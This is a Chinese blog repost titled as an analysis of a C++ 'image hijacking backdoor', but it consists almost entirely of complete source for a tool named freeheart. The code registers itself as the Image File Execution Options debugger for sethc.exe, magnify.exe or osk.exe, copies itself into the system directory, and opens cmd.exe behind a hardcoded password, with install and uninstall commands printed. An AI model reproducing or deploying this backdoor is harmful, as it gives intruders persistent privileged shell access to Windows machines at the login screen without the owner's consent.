作者热门文章
- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章C++映像劫持后门实例分析由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
本文实例讲述了C++映像劫持后门的方法。分享给大家供大家参考。具体如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
|
// freeheart.cpp : Defines the entry point for the console application.
//学习交流使用,违法使用后果自负。
// by:cnblogs.com/blogg time 2013.5.24
// argv 0 = freeheart.exe
// argv 1 = -i
// argv 2 = name.exe
// argv 3 = 1 2 3
// 此程序使用的映像劫持技术,
// 在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
//
#include "stdafx.h"
#include "windows.h"
#include "atlbase.h"
#include <iostream>
using
namespace
std;
int
main(
int
argc,
char
* argv[])
{
void
anzhuang(
char
*Path,
char
*filename);
void
xiezai(
char
*path,
char
*hName);
void
CopyZiji(
char
*CopyPath);
char
*password =
"free"
;
//真密码缓冲区
char
*shuruPwd =
""
;
//输入的密码缓冲区
int
errorbuff = 0;
char
*PathBuff =
""
;
char
*FileName =
""
;
char
*chsname =
"sethc.exe"
;
//SHIFT粘贴键程序的名称
char
*fangdajing =
"magnify.exe"
;
//
char
*pingmujianpan =
"osk.exe"
;
//
LPTSTR
sysbuff;
//得到系统路径的缓冲区
TCHAR
tchBuffer2[1024];
//申请一个字符变量数组
sysbuff = tchBuffer2;
//把系统的路径放到这个变量数组里
if
(GetSystemDirectory(sysbuff, MAX_PATH))
//得到系统路径
{
sysbuff =
strcat
(sysbuff,
"\\"
);
//strcat 剪切在一起,把\\放在系统路径的后面,然后放入系统缓冲区当中。
}
if
(argv[1] != NULL)
{
//安装命令判断
if
(
strcmp
(argv[1],
"-i"
) == 0)
{
if
(argv[2] != NULL)
{
FileName=argv[2];
}
else
{
cout<<
"请输入文件名!"
;
return
0;
}
if
(argv[3] != NULL)
{
if
(
strcmp
(argv[3],
"1"
) == 0)
{
anzhuang(FileName,chsname);
PathBuff =
strcat
(sysbuff,FileName);
CopyZiji(PathBuff);
cout<<
"创建完成! : "
<<PathBuff<<endl;
return
0;
}
if
(
strcmp
(argv[3],
"2"
) == 0)
{
anzhuang(FileName,fangdajing);
PathBuff =
strcat
(sysbuff,FileName);
CopyZiji(PathBuff);
//调用函数
cout<<
"创建完成! : "
<<PathBuff<<endl;
return
0;
}
if
(
strcmp
(argv[3],
"3"
) == 0)
{
anzhuang(FileName,pingmujianpan);
PathBuff =
strcat
(sysbuff,FileName);
CopyZiji(PathBuff);
//调用函数
cout<<
"创建完成! : "
<<PathBuff<<endl;
return
0;
}
}
else
{
cout<<
"请输入参数!"
<<endl;
}
return
0;
}
//卸载
if
(
strcmp
(argv[1],
"-u"
) == 0)
{
if
(argv[2] != NULL)
{
if
(
strcmp
(argv[2],
"1"
) == 0)
{
xiezai(sysbuff,chsname);
cout<<
"删除文件成功!"
<<endl;
return
0;
}
if
(
strcmp
(argv[2],
"2"
) == 0)
{
xiezai(sysbuff,fangdajing);
cout<<
"删除文件成功!"
<<endl;
return
0;
}
if
(
strcmp
(argv[2],
"3"
) == 0)
{
xiezai(sysbuff,pingmujianpan);
cout<<
"删除文件成功!"
<<endl;
return
0;
}
}
else
{
cout<<
"请输入参数!"
<<endl;
}
return
0;
}
//为什么会进入这里 因为debugger a.exe 其实是两个参数,因为if (argv[1] != NULL) 也就是第二个参数不等于空的话执行下面的语句。
while
(errorbuff<3)
//循环三次,错误。
{
cout<<
"password:"
;
cin>>shuruPwd;
if
(
strcmp
(shuruPwd,password) == 0)
{
system
(
"cmd.exe"
);
break
;
}
else
{
cout<<
"密码错误!"
<<endl;
}
errorbuff++;
//自加一次
}
return
0;
}
system
(
"color a"
);
cout<<
"-----------------------------------------------------"
<<endl;
cout<<
"欢迎光临自由的心,祝您好运!"
<<endl;
cout<<
"1: sethc.exe Shift后门\n"
;
cout<<
"2: magnify.exe 放大镜后门\n"
;
cout<<
"3: osk.exe 屏幕键盘后门\n"
;
cout<<
"-----------------------------------------------------"
<<endl;
cout<<
"安装: freeheart.exe -i xx.exe 1"
<<endl;
cout<<
"卸载: freeheart.exe -u 1"
<<endl;
cout<<
"连接密码:free"
<<endl;
cout<<
"-----------------------------------------------------"
<<endl;
return
0;
}
//安装函数
void
anzhuang(
char
*Path,
char
*filename)
{
HKEY
hSoftKey = NULL;
HKEY
hCompanyKey = NULL;
if
(RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T(
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"
), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
{
if
(RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)
{
LPBYTE
Value=(
LPBYTE
)Path;
long
ret1=::RegSetValueEx(hCompanyKey,
"Debugger"
,0,REG_SZ,(
BYTE
*)Value,50);
RegCloseKey(hCompanyKey);
}
RegCloseKey(hSoftKey);
}
}
//卸载函数
void
xiezai(
char
*path,
char
*hName)
//hName 传递进来的程序名
{
HKEY
hSoftKey = NULL;
LPCTSTR
hMainKey=
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"
;
if
(RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
{
DWORD
len = 256;
DWORD
type = REG_SZ;
LPBYTE
last =
new
BYTE
[256];
LPCTSTR
hname = (
LPCTSTR
)hName;
char
*HHname;
HKEY
hKey;
//在注册表当中创建一个magnify名的项,在里面当中加入debugger,里面跟上自己的程序名的值。
char
* DelCom;
HHname=
strcat
((
char
*)hMainKey,
"\\"
);
//hmainkey 注册表的路径
HHname=
strcat
((
char
*)hMainKey,(
char
*)hname);
//hname 程序名
if
(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(
LPCTSTR
)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,
"Debugger"
,0,&type,last,&len)==ERROR_SUCCESS)
{
DelCom=
strcat
(path,
reinterpret_cast
<
char
*>(last));
DeleteFile(DelCom);
//删除文件
RegDeleteKey(hSoftKey,hname);
//删除注册表
}
RegCloseKey(hSoftKey);
//关闭句柄
RegCloseKey(hKey);
//关闭句柄
}
}
void
CopyZiji(
char
*CopyPath)
//将自身生成exe文件复制到指定的路径下
{
char
PathBuff[MAX_PATH];
//申请一个字符变量数组,大小是系统最大的长度。
GetModuleFileName(NULL,PathBuff,MAX_PATH);
//第一个参数为NULL,就表示获取当前程序的路径,第二个参数就是存放到缓冲区。
CopyFile(PathBuff,CopyPath,
true
);
//CurrentPath 是自身exe,把自身复制到目标路径当中
}
|
希望本文所述对大家的C++程序设计有所帮助.
最后此篇关于C++映像劫持后门实例分析的文章就讲到这里了,如果你想了解更多关于C++映像劫持后门实例分析的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
Docker 容器通常是缺乏内部状态的临时应用程序实例。这是处理它们的最佳实践方法,可让您随时停止或重新启动容器。 但有时对容器文件系统的修改是不可避免的。也许您正在试用软件并希望稍后返回快照。另一个
CI 管道的一个常见用例是构建用于部署应用程序的 Docker 映像。GitLab CI 是一个很好的选择,因为它支持集成的拉代理服务,这意味着更快的管道,以及用于存储构建图像的内置注册表。 在本指南
我是一名优秀的程序员,十分优秀!